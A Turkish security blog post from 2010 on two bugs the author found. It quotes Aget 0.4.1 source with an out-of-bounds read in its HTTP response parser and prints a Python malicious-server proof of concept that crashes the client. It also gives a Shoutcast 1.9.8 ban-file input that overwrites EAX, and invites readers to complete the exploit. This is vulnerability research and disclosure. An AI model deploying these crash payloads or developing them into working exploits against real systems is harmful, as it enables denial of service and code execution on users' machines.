Egzersiz…

written by Mert SARICA | 5 Ocak, 2010

Pas tutmamak için kaynak kodu inceliyor, fuzzing ile de ufak tefek programları kurcalıyordum ki iki farklı uygulamada iki bug ile karşılaştım. İstismar edilme ihtimallerinin oldukça düşük olduğunu düşünsemde el elden üstündür diyerek sizlerle paylaşıyorum belki aranızdan biri istismar ederek bizleri aydınlatır.

İlk olarak bir çok linux dağıtımında yer alan Enderunix'in Aget v0.4.1 programının kaynak kodlarını inceledim.

```
aget-0.4.1\Defs.h
...
GETRECVSIZ = 8192,
....

aget-0.4.1\Download.c
...
void * http_get(void *arg) {
struct thread_data *td;
int sd;
char *rbuf, *s;
...
if ((dr = recv(sd, rbuf, GETRECVSIZ, 0)) == -1) {
Log(" recv failed: %s", tid, strerror(errno));
pthread_exit((void *)1);
}
...
rbuf = (char *)calloc(GETRECVSIZ, sizeof(char));
...
s = rbuf;
i = 0;

while(1) {
if (*s == '\n' && *(s - 1) == '\r' && *(s - 2) == '\n' && *(s - 3) == '\r') {
s++;
i++;
break;
}
s++;
i++;
}
```

Yukarıdaki koda dikkat edecek olursak Defs.h dosyasında GETRECVSIZ, 8192 byte olarak tanımlanmış ve calloc fonksiyonu ile 8192 byte büyüklüğünde hafıza tahsis edilmiş ve rbuf'a atanmış ancak kontrolsüz while döngüsü nedeniyle hafıza taşması sorunu ortaya çıkıyor ve sonuç olarak array index out of bound zaafiyeti ile karşılaşıyoruz.

Zaafiyeti teyit etmek içinse daha önce internetten bulduğum (sanırım milw0rmda bulmuştum) ve client-side güvenlik zaafiyetini istismar etmek için hazırlanmış olan aracı biraz değiştirerek teyit ettim, sonuç segmentation fault.

```
#!/usr/bin/env python
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys
try:
import psyco
psyco.full()
except ImportError:
pass
class myRequestHandler(BaseHTTPRequestHandler):
try:
def do_HEAD(self):
# Always Accept GET
# self.printCustomHTTPResponse(200)
buffer = "HTTP/1.1 200 OK\r\nDate: Sat, 02 Jan 2010 13:06:39 GMT\r\nServer:
Apache/2.2.11 (Debian) DAV/2 SVN/1.5.1 mod_python/3.3.1 Python/2.5.2
mod_ssl/2.2.11 OpenSSL/0.9.8g mod_transform/0.6.0\r\nLast-Modified: Thu, 02
Jun 2005 07:53:29 GMT\r\nETag: \"f6cedc-5c800-3f88a8879f040\"\r\nAccept-
Ranges: bytes\r\nContent-Length: 1\r\nContent-Type: application/x-msdos-
program\r\n"
self.wfile.write(buffer)
def do_GET(self):
# Always Accept GET
self.printCustomHTTPResponse(200)
# Print custom HTTP Response
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Server", "myRequestHandler")
self.send_header("Content-Length", "1")
buffer = "A"*8041 + "\r\n" + "A"*8041 + "\r\n" + "A"*8041
# self.send_header("Content-type", "application/x-msdos-program")
self.send_header("Content-type", buffer)
# self.wfile.write(buffer)
self.end_headers()

except Exception:
pass
httpd = HTTPServer(('', 80), myRequestHandler)
try:
httpd.handle_request()
httpd.serve_forever()
except KeyboardInterrupt:
print ("\n\nExiting exploit...\n\n")
sys.exit()
```

Aget dışında download.com internet sitesinde gezinirken zamanında eğlenmek için kullandığım shoutcast internet radyo programı ile karşılaştım ve göz atmaya karar verdim. Kurulumu gerçekleştirip biraz incelediğimde admin panelinde IP adresi banlamak ve görüntülemek için kullanılan Ban List bölümü dikkatimi çekti. Programın banlanan IP adresini ise sc_serv.ban dosyasına kayıt ettiğini ve her çalıştırıldığında yüklediğini öğrendikten sonra fuzzing için hedef dosyayı inceledim ve test için banladığım IP adresine ait kaydın *1.1.1.1;255;Manual Add* olarak dosya içerisinde yer aldığımı gördüm. File fuzzingi otomotize etmek için bir script hazırlamadan önce manuel olarak gerçekleştirdiğim ilk testte uygulamanın göçtüğünü gördüm ve debugger ile incelediğimde EAX registerına istediğim değeri yazabildiğimi gördüm ancak biraz daha inceledikten sonra EIP registerına gidecek azmi ve vakti bulamadım ve egzersiz olarak sizlere bırakabileceğimi düşündüm.

Shoutcast v1.9.8 (windows & linux)
sc_serv.ban içerisine 1.1.1.1;255;AAAAA(281 tane) satırını eklemeniz EAX registerına yazabilmeniz için yeterli oluyor.